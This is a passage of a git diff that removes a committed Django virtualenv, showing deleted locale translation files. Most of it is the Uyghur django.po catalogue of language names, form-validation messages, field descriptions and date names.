%(directory)s" -msgstr "%(directory)s папкалэн пушторсэз" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ug/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ug/LC_MESSAGES/django.mo deleted file mode 100644 index ce10d7df..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ug/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ug/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ug/LC_MESSAGES/django.po deleted file mode 100644 index daa3973d..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ug/LC_MESSAGES/django.po +++ /dev/null @@ -1,1353 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# abdl erkin <84247764@qq.com>, 2018 -# Abduqadir Abliz , 2023-2024 -# Abduqadir Abliz , 2023 -# Azat, 2023 -# Murat Orhun , 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 06:49+0000\n" -"Last-Translator: Abduqadir Abliz , 2023-2024\n" -"Language-Team: Uyghur (http://app.transifex.com/django/django/language/ug/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ug\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "ئافرىكانسچە" - -msgid "Arabic" -msgstr "ئەرەبچە" - -msgid "Algerian Arabic" -msgstr "ئالجىرىيە ئەرەپچىسى" - -msgid "Asturian" -msgstr "ئاستۇرىچە" - -msgid "Azerbaijani" -msgstr "ئەزەربەيجانچە" - -msgid "Bulgarian" -msgstr "بۇلغارچە" - -msgid "Belarusian" -msgstr "بېلورۇسىچە" - -msgid "Bengali" -msgstr "بېنگالچە" - -msgid "Breton" -msgstr "بىرېتونچە" - -msgid "Bosnian" -msgstr "بوسنىيەچە" - -msgid "Catalan" -msgstr "كاتالانچە" - -msgid "Central Kurdish (Sorani)" -msgstr "مەركىزى كۇردچە ( سورانى) " - -msgid "Czech" -msgstr "چېخچە" - -msgid "Welsh" -msgstr "ۋېلشچە" - -msgid "Danish" -msgstr "دانىشچە" - -msgid "German" -msgstr "گىرمانچە" - -msgid "Lower Sorbian" -msgstr "تۆۋەن سوربچە" - -msgid "Greek" -msgstr "گىرېكچە" - -msgid "English" -msgstr "ئىنگلىزچە" - -msgid "Australian English" -msgstr "" -"ئاۋىستىرالىيە ئىنگلزچىسى\n" -" " - -msgid "British English" -msgstr "ئەنگىلىيە ئىنگىلىزچىسى" - -msgid "Esperanto" -msgstr "دۇنيا تىلى" - -msgid "Spanish" -msgstr "ئىسپانچە" - -msgid "Argentinian Spanish" -msgstr "ئارگېنتىنا ئىسپانچىسى" - -msgid "Colombian Spanish" -msgstr "كولۇمبىيە ئىسپانچىسى" - -msgid "Mexican Spanish" -msgstr "مېكسىكا ئىسپانچىسى" - -msgid "Nicaraguan Spanish" -msgstr "نىكاراگۇئا ئىسپاچىسى" - -msgid "Venezuelan Spanish" -msgstr "ۋېنېزۇئېلا ئىسپانچىسى" - -msgid "Estonian" -msgstr "ئېستونىيەچە" - -msgid "Basque" -msgstr "بەسىكچە" - -msgid "Persian" -msgstr "پارىسچە" - -msgid "Finnish" -msgstr "ڧىنلانىدچە" - -msgid "French" -msgstr "ڧىرانسۇزچە" - -msgid "Frisian" -msgstr "فىرىزىيەچە" - -msgid "Irish" -msgstr "ئىرېلاندىيەچە" - -msgid "Scottish Gaelic" -msgstr "شوتلاندىيەچە" - -msgid "Galician" -msgstr "گالىچىيەچە" - -msgid "Hebrew" -msgstr "ئىبرانىچە" - -msgid "Hindi" -msgstr "ھىندىچە" - -msgid "Croatian" -msgstr "كىرودىيەچە" - -msgid "Upper Sorbian" -msgstr "يۇقىرى سوربچە" - -msgid "Hungarian" -msgstr "ماجارچە" - -msgid "Armenian" -msgstr "ئارمىنىيەچە" - -msgid "Interlingua" -msgstr "خەلقئارالىق تىل" - -msgid "Indonesian" -msgstr "ھىندىنوزىيەچە" - -msgid "Igbo" -msgstr "ئىبوچە" - -msgid "Ido" -msgstr "ئىيدوچە" - -msgid "Icelandic" -msgstr "ئىسلاندىيەچە" - -msgid "Italian" -msgstr "ئىتالىيەچە" - -msgid "Japanese" -msgstr "ياپونچە" - -msgid "Georgian" -msgstr "گرۇزىيەچە" - -msgid "Kabyle" -msgstr "كەبىيلچە" - -msgid "Kazakh" -msgstr "قازاقچە" - -msgid "Khmer" -msgstr "كامىيرچە" - -msgid "Kannada" -msgstr "كانناداچە" - -msgid "Korean" -msgstr "كورىيەچە" - -msgid "Kyrgyz" -msgstr "قىرغىزچە" - -msgid "Luxembourgish" -msgstr "لىيۇكسېمبۇرگچە" - -msgid "Lithuanian" -msgstr "لىتۋاچە" - -msgid "Latvian" -msgstr "لاتۋىيەچە" - -msgid "Macedonian" -msgstr "ماكېدونىيەچە" - -msgid "Malayalam" -msgstr "مالىيالامچە" - -msgid "Mongolian" -msgstr "مۇڭغۇلچە" - -msgid "Marathi" -msgstr "ماراتىچە" - -msgid "Malay" -msgstr "مالايچە" - -msgid "Burmese" -msgstr "بېرمىچە" - -msgid "Norwegian Bokmål" -msgstr "نورۋېگىيە بوكمىلچىسى" - -msgid "Nepali" -msgstr "نېپالچە" - -msgid "Dutch" -msgstr "گوللاندىيەچە" - -msgid "Norwegian Nynorsk" -msgstr "نورۋېگىيە نىنورسكچىسى" - -msgid "Ossetic" -msgstr "ئوسېتچە" - -msgid "Punjabi" -msgstr "پۇنجابىچە" - -msgid "Polish" -msgstr "پولشاچە" - -msgid "Portuguese" -msgstr "پورتۇگالچە" - -msgid "Brazilian Portuguese" -msgstr "بىرازىلىيە پورتۇگالچىسى" - -msgid "Romanian" -msgstr "رومەينىيەچە" - -msgid "Russian" -msgstr "رۇسچە" - -msgid "Slovak" -msgstr "سلوۋاكىيەچە" - -msgid "Slovenian" -msgstr "سىلوۋېنىيەچە" - -msgid "Albanian" -msgstr "ئالبانىيەچە" - -msgid "Serbian" -msgstr "سېربىيەچە" - -msgid "Serbian Latin" -msgstr "سېربىيە لاتىنچىسى" - -msgid "Swedish" -msgstr "شىۋىتسىيەچە" - -msgid "Swahili" -msgstr "سۋاھىلچە" - -msgid "Tamil" -msgstr "تامىلچە" - -msgid "Telugu" -msgstr "تېلۇگۇ" - -msgid "Tajik" -msgstr "تاجىكچە" - -msgid "Thai" -msgstr "تايلاندچە" - -msgid "Turkmen" -msgstr "تۈركمەنچە" - -msgid "Turkish" -msgstr "تۈركچە" - -msgid "Tatar" -msgstr "تاتارچە" - -msgid "Udmurt" -msgstr "ئۇدمۇرتچە" - -msgid "Uyghur" -msgstr "ئۇيغۇرچە" - -msgid "Ukrainian" -msgstr "ئۇكرائىنچە" - -msgid "Urdu" -msgstr "ئوردۇچە" - -msgid "Uzbek" -msgstr "ئۆزبەكچە" - -msgid "Vietnamese" -msgstr "ۋېيتنامچە" - -msgid "Simplified Chinese" -msgstr "خەنزۇچە" - -msgid "Traditional Chinese" -msgstr "ئەنئەنىۋى خەنزۇچىسى" - -msgid "Messages" -msgstr "قىسقا ئۇچۇر" - -msgid "Site Maps" -msgstr "بېكەت خەرىتىسى" - -msgid "Static Files" -msgstr "سىتاتىك ھۆججەت" - -msgid "Syndication" -msgstr "تەشكىللىنىش" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "بەت نومۇرى پۈتۈن سان ئەمەس" - -msgid "That page number is less than 1" -msgstr "بەت نومۇرى 1 دىن كىچىك" - -msgid "That page contains no results" -msgstr "ئۇ بەتتە ھېچقانداق نەتىجە يوق" - -msgid "Enter a valid value." -msgstr "بىر ئىناۋەتلىك قىممەتنى تولدۇرۇڭ" - -msgid "Enter a valid domain name." -msgstr "ئىناۋەتلىك دائىرە ئىسمى كىرگۈزۈلىدۇ." - -msgid "Enter a valid URL." -msgstr "ئىناۋەتلىك URL نى تولدۇرۇڭ" - -msgid "Enter a valid integer." -msgstr "ئىناۋەتلىك پۈتۈن سان تولدۇرۇڭ" - -msgid "Enter a valid email address." -msgstr "ئىناۋەتلىك ئېلخەت ئادرېسىنى كىرگۈزۈڭ." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"ھەرپ ، سان ، ئاستى سىزىق ياكى سىزىقچىلاردىن تەركىب تاپقان ئۈنۈملۈك «سىلاگ» " -"نى كىرگۈزۈڭ." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"يۇنىكودلۇق ھەرپ، سان، ئاستى سىزىق ياكى سىزىقچىلاردىن تەركىب تاپقان ئۈنۈملۈك " -"«slug» نى كىرگۈزۈڭ." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "ئىناۋەتلىك %(protocol)sئادرېسى كىرگۈزۈلىدۇ." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 ياكى IPv6" - -msgid "Enter only digits separated by commas." -msgstr "پەش ئارقىلىق ئايرىلغان رەقەملەرنىلا كىرگۈزۈڭ." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"بۇ قىممەتنىڭ %(limit_value)s بولىشىغا كاپالەتلىك قىلىڭ ( ھازىر " -"%(show_value)s)" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"بۇ قىممەتنىڭ %(limit_value)s دىن تۆۋەن ياكى تەڭ بولۇشىغا كاپالەتلىك قىلىڭ" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"بۇ قىممەتنىڭ %(limit_value)s دىن چوڭ ياكى تەڭ بولۇشىغا كاپالەتلىك قىلىڭ" - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "بۇ قىممەتنىڭ %(limit_value)s نىڭ كۆپەيتمىسى بولىشىغا كاپالەتلىك قىلىڭ" - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"بۇ قىممەت كۆپ قەدەم باسقۇچلۇق بولسۇن %(limit_value)s، %(offset)s دىن " -"باشلىنىپ، مەسىلەن %(offset)s، %(valid_value1)s، %(valid_value2)s ۋە باشقىلار." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"بۇ قىممەتنىڭ كەم دېگەندە %(limit_value)d ھەرپ بولۇشىغا كاپالەتلىك قىلىڭ " -"(ھازىر %(show_value)d بار)." -msgstr[1] "" -"بۇ قىممەتنىڭ كەم دېگەندە %(limit_value)d ھەرپ بولۇشىغا كاپالەتلىك قىلىڭ " -"(ھازىر %(show_value)d بار)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"بۇ قىممەتنىڭ ئەڭ كۆپ بولغاندا %(limit_value)d ھەرپ بولۇشىغا كاپالەتلىك قىلىڭ " -"(ھازىر %(show_value)d بار)." -msgstr[1] "" -"بۇ قىممەتنىڭ ئەڭ كۆپ بولغاندا %(limit_value)d ھەرپ بولۇشىغا كاپالەتلىك قىلىڭ " -"(ئۇنىڭدا %(show_value)d بار). " - -msgid "Enter a number." -msgstr "سان كىرگۈزۈڭ." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "جەمى 4%(max)s خانىدىن ئېشىپ كەتمەسلىكىگە كاپالەتلىك قىلىڭ." -msgstr[1] "جەمى %(max)s خانىدىن ئېشىپ كەتمەسلىكىگە كاپالەتلىك قىلىڭ." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "%(max)s ئونلۇق ئورۇندىن ئېشىپ كەتمەسلىكىگە كاپالەتلىك قىلىڭ." -msgstr[1] "%(max)s ئونلۇق ئورۇندىن ئېشىپ كەتمەسلىكىگە كاپالەتلىك قىلىڭ." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"ئونلۇق نۇقتىدىن ئىلگىرى %(max)s خانىدىن ئېشىپ كەتمەسلىكىگە كاپالەتلىك قىلىڭ." -msgstr[1] "" -"ئونلۇق نۇقتىدىن ئىلگىرى %(max)s خانىدىن ئېشىپ كەتمەسلىكىگە كاپالەتلىك قىلىڭ." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"ھۆججەت كېڭەيتىشكە «%(extension)s» رۇخسەت قىلىنمايدۇ. رۇخسەت قىلىنغان " -"كېڭەيتىلمە: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "بوش ھەرپلەرگە رۇخسەت قىلىنمايدۇ." - -msgid "and" -msgstr "ۋە" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s بىلەن بۇ %(field_labels)s مەۋجۇت." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "«%(name)s» چەكلىمىسى بۇزۇلدى." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "قىممەت %(value)r ئىناۋەتسىز." - -msgid "This field cannot be null." -msgstr "بۇ ئورۇننى بوش قويۇشقا بولمايدۇ" - -msgid "This field cannot be blank." -msgstr "بۇ ئورۇننى بوش قويۇشقا بولمايدۇ" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "بۇ %(field_label)s بىلەن %(model_name)s مەۋجۇت." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s چوقۇم %(date_field_label)s %(lookup_type)s ئۈچۈن بىردىنبىر " -"بولۇشى كېرەك." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "تىپ تۈرى: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "«%(value)s» قىممىتى چوقۇم True ياكى False بولۇشى كېرەك." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "«%(value)s» قىممىتى چوقۇم True ، False ياكى None بولۇشى كېرەك." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (True ياكى False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "(%(max_length)s گە قەدەر ئۇزۇنلۇقتىكى) ھەرپ-بەلگە" - -msgid "String (unlimited)" -msgstr "ھەرپ-بەلگە ( ئۇزۇنلۇققا چەكلىمە يوق)" - -msgid "Comma-separated integers" -msgstr "پەش بىلەن ئايرىلغان پۈتۈن سان" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"«%(value)s» قىممىتى ئىناۋەتسىز ۋاقىت فورماتىدا. ئۇ چوقۇم YYYY-MM-DD شەكلىدە " -"بولۇشى كېرەك." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"«%(value)s» قىممىتىنىڭ توغرا فورماتى (YYYY-MM-DD) بار ، ئەمما ئۇ ۋاقىت " -"ئىناۋەتسىز." - -msgid "Date (without time)" -msgstr "چېسلا (سائەت مىنۇت يوق)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"«%(value)s» قىممىتى ئىناۋەتسىز. ئۇ چوقۇم YYYY-MM-DD HH: MM [: ss [.uuuuuu]] " -"[TZ] شەكلىدە بولۇشى كېرەك." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"«%(value)s» قىممىتىنىڭ توغرا فورماتى بار (YYYY-MM-DD HH: MM [: ss [.uuuuuu]] " -"[TZ]) ئەمما ئۇ ئىناۋەتسىز كۈن / ۋاقىت." - -msgid "Date (with time)" -msgstr "چېسلا (ۋاقىت بىلەن)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "«%(value)s» قىممىتى چوقۇم پۈتۈن سان بولۇشى كېرەك." - -msgid "Decimal number" -msgstr "ئونلۇق سان" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"«%(value)s» قىممىتى ئىناۋەتسىز. ئۇ چوقۇم [DD] [[HH:] MM:] ss [.uuuuuu] " -"شەكلىدە بولۇشى كېرەك." - -msgid "Duration" -msgstr "داۋاملىشىش ۋاقتى" - -msgid "Email address" -msgstr "ئېلخەت ئادرېسى" - -msgid "File path" -msgstr "ھۆججەت يولى" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "«%(value)s» قىممىتى چوقۇم لەيلىمە چېكىتلىك مىقتار بولۇشى كېرەك." - -msgid "Floating point number" -msgstr "كەسرىلىك سان نومۇر" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "«%(value)s» قىممىتى چوقۇم پۈتۈن سان بولۇشى كېرەك." - -msgid "Integer" -msgstr "پۈتۈن سان" - -msgid "Big (8 byte) integer" -msgstr "چوڭ (8 بايىت) پۈتۈن سان" - -msgid "Small integer" -msgstr "كىچىك پۈتۈن سان" - -msgid "IPv4 address" -msgstr "IPv4 ئادرېسى" - -msgid "IP address" -msgstr "IP ئادرېسى" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "«%(value)s» قىممىتى چوقۇم True ، False ياكى None بولۇشى كېرەك." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (True ياكى False)" - -msgid "Positive big integer" -msgstr "مۇسبەت چوڭ پۈتۈن سان" - -msgid "Positive integer" -msgstr "مۇسبەت پۈتۈن سان" - -msgid "Positive small integer" -msgstr "مۇسبەت كىچىك پۈتۈن سان" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (كۆپ بولغاندا %(max_length)s)" - -msgid "Text" -msgstr "تېكىست" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"«%(value)s» قىممىتى ئىناۋەتسىز. ئۇ چوقۇم HH: MM [: ss [.uuuuuu]] شەكلىدە " -"بولۇشى كېرەك." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"«%(value)s» قىممىتىنىڭ توغرا فورماتى بار (HH: MM [: ss [.uuuuuu]]) ئەمما ئۇ " -"ئىناۋەتسىز ۋاقىت." - -msgid "Time" -msgstr "ۋاقىت" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "خام ئىككىلىك سان" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "«%(value)s» ئىناۋەتلىك UUID ئەمەس." - -msgid "Universally unique identifier" -msgstr "ئۇنىۋېرسال بىردىنبىر كىملىك" - -msgid "File" -msgstr "ھۆججەت" - -msgid "Image" -msgstr "رەسىم" - -msgid "A JSON object" -msgstr "JSON ئوبيېكتى" - -msgid "Value must be valid JSON." -msgstr "چوقۇم ئىناۋەتلىك JSON بولۇشى كېرەك." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "مىسال %(value)r %(field)s قىممىتى بولغان %(model)s مەۋجۇت ئەمەس." - -msgid "Foreign Key (type determined by related field)" -msgstr "سىرتقى ئاچقۇچ (تىپى مۇناسىۋەتلىك مەيدان تەرىپىدىن بېكىتىلگەن)" - -msgid "One-to-one relationship" -msgstr "بىرمۇبىر مۇناسىۋەت" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s مۇناسىۋەت" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s مۇناسىۋەتلەر" - -msgid "Many-to-many relationship" -msgstr "كۆپكە كۆب مۇناسىۋىتى" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "بۇ رايون تەلەپ قىلىنىدۇ." - -msgid "Enter a whole number." -msgstr "پۈتۈن ساننى كىرگۈزۈڭ." - -msgid "Enter a valid date." -msgstr "ئىناۋەتلىك چېسلانى كىرگۈزۈڭ." - -msgid "Enter a valid time." -msgstr "ئىناۋەتلىك ۋاقىت كىرگۈزۈڭ." - -msgid "Enter a valid date/time." -msgstr "ئىناۋەتلىك چېسلا / ۋاقىت كىرگۈزۈڭ." - -msgid "Enter a valid duration." -msgstr "ئىناۋەتلىك مۇددىتىنى كىرگۈزۈڭ." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "كۈن سانى چوقۇم {min_days} بىلەن {max_days} ئارىسىدا بولۇشى كېرەك." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "ھېچقانداق ھۆججەت يوللانمىدى. جەدۋەلدىكى كودلاش تۈرىنى تەكشۈرۈڭ." - -msgid "No file was submitted." -msgstr "ھېچقانداق ھۆججەت يوللانمىدى." - -msgid "The submitted file is empty." -msgstr "يوللانغان ھۆججەت قۇرۇق." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"بۇ ھۆججەت نامىنىڭ ئەڭ كۆپ بولغاندا %(max)d ھەرپ بولۇشىغا كاپالەتلىك قىلىڭ " -"(ئۇنىڭدا %(length)d بار)." -msgstr[1] "" -"بۇ ھۆججەت نامىنىڭ ئەڭ كۆپ بولغاندا %(max)d ھەرپ بولۇشىغا كاپالەتلىك قىلىڭ " -"(ئۇنىڭدا %(length)d بار)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "ھۆججەت يوللاڭ ياكى تەكشۈرۈش رامكىسىنى تەكشۈرۈڭ ، ھەر ئىككىسىنى ئەمەس." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"ئىناۋەتلىك رەسىم يۈكلەڭ. سىز يۈكلىگەن ھۆججەت يا رەسىم ئەمەس ۋەياكى بۇزۇلغان." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "ئۈنۈملۈك تاللاشنى تاللاڭ. %(value)s تاللاشلارنىڭ بىرى ئەمەس." - -msgid "Enter a list of values." -msgstr "قىممەت تىزىملىكىنى كىرگۈزۈڭ." - -msgid "Enter a complete value." -msgstr "تولۇق قىممەت كىرگۈزۈڭ." - -msgid "Enter a valid UUID." -msgstr "ئىناۋەتلىك UUID نى كىرگۈزۈڭ." - -msgid "Enter a valid JSON." -msgstr "ئىناۋەتلىك JSON نى كىرگۈزۈڭ." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(يوشۇرۇن مەيدان %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm سانلىق مەلۇماتلىرى يوقاپ كەتتى ياكى ئۆزگەرتىلدى. يوقاپ كەتكەن " -"ساھە: %(field_names)s. ئەگەر مەسىلە ساقلىنىپ قالسا ، خاتالىق دوكلاتىنى " -"تاپشۇرۇشىڭىز كېرەك." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "ئەڭ كۆپ بولغاندا %(num)d جەدۋەلنى يوللاڭ." -msgstr[1] "ئەڭ كۆپ بولغاندا %(num)d جەدۋەلنى يوللاڭ." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "كەم دېگەندە %(num)d جەدۋەلنى يوللاڭ." -msgstr[1] "كەم دېگەندە %(num)d جەدۋەلنى يوللاڭ." - -msgid "Order" -msgstr "زاكاز" - -msgid "Delete" -msgstr "ئۆچۈرۈش" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s نىڭ قايتىلانغان سانلىق مەلۇماتلىرىنى تۈزىتىڭ." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"%(field)s نىڭ كۆپەيتىلگەن سانلىق مەلۇماتلىرىنى تۈزىتىڭ ، بۇ چوقۇم ئۆزگىچە " -"بولۇشى كېرەك." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(field_name)s دىكى قايتىلانغان سانلىق مەلۇماتنى تۈزىتىڭ ، بۇ چوقۇم " -"%(date_field)s دىكى %(lookup)s غا خاس بولۇشى كېرەك." - -msgid "Please correct the duplicate values below." -msgstr "تۆۋەندىكى قايتىلانغان قىممەتنى تۈزىتىڭ." - -msgid "The inline value did not match the parent instance." -msgstr "ئىچكى قىممەت ئاتا مىسالغا ماس كەلمىدى." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"ئۈنۈملۈك تاللاشنى تاللاڭ. بۇ تاللاش ئىشلەتكىلى بولىدىغان تاللاشلارنىڭ بىرى " -"ئەمەس." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "«%(pk)s» ئىناۋەتلىك قىممەت ئەمەس." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s نى %(current_timezone)s ۋاقىت رايونىدا ئىزاھلاشقا بولمايدۇ ئۇ " -"مۈجمەل بولۇشى مۇمكىن ياكى ئۇ مەۋجۇت بولماسلىقى مۇمكىن." - -msgid "Clear" -msgstr "تازىلاش" - -msgid "Currently" -msgstr "نۆۋەتتە" - -msgid "Change" -msgstr "ئۆزگەرتىش" - -msgid "Unknown" -msgstr "نامەلۇم" - -msgid "Yes" -msgstr "ھەئە" - -msgid "No" -msgstr "ياق" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ھەئە، ياق، بەلكىىم" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d بايىت" -msgstr[1] "%(size)d بايىت" - -#, python-format -msgid "%s KB" -msgstr "%s كىلوبايت" - -#, python-format -msgid "%s MB" -msgstr "%sمېگا بايىت" - -#, python-format -msgid "%s GB" -msgstr "%sگىگا بايىت" - -#, python-format -msgid "%s TB" -msgstr "%s تېرا بايت" - -#, python-format -msgid "%s PB" -msgstr "%s پېتا بايىت" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "يېرىم كېچىدە" - -msgid "noon" -msgstr "چۈشتە" - -msgid "Monday" -msgstr "دۈشەنبە" - -msgid "Tuesday" -msgstr "سەيشەنبە" - -msgid "Wednesday" -msgstr "چارشەمبە" - -msgid "Thursday" -msgstr "پەيشەمبە" - -msgid "Friday" -msgstr "جۈمە" - -msgid "Saturday" -msgstr "شەنبە" - -msgid "Sunday" -msgstr "يەكشەنبە" - -msgid "Mon" -msgstr "دۈش" - -msgid "Tue" -msgstr "سەي" - -msgid "Wed" -msgstr "چار" - -msgid "Thu" -msgstr "پەي" - -msgid "Fri" -msgstr "جۈ" - -msgid "Sat" -msgstr "شەن" - -msgid "Sun" -msgstr "يەك" - -msgid "January" -msgstr "يانۋار" - -msgid "February" -msgstr "فېۋرال" - -msgid "March" -msgstr "مارت" - -msgid "April" -msgstr "ئاپرىل" - -msgid "May" -msgstr "ماي" - -msgid "June" -msgstr "ئىيۇن" - -msgid "July" -msgstr "ئىيۇل" - -msgid "August" -msgstr "ئاۋغۇست" - -msgid "September" -msgstr "سىنتەبىر" - -msgid "October" -msgstr "ئۆكتەبىر" - -msgid "November" -msgstr "نويابىر" - -msgid "December" -msgstr "دىكابىر" - -msgid "jan" -msgstr "يان" - -msgid "feb" -msgstr "فېۋ" - -msgid "mar" -msgstr "مار" - -msgid "apr" -msgstr "ئاپ" - -msgid "may" -msgstr "ماي" - -msgid "jun" -msgstr 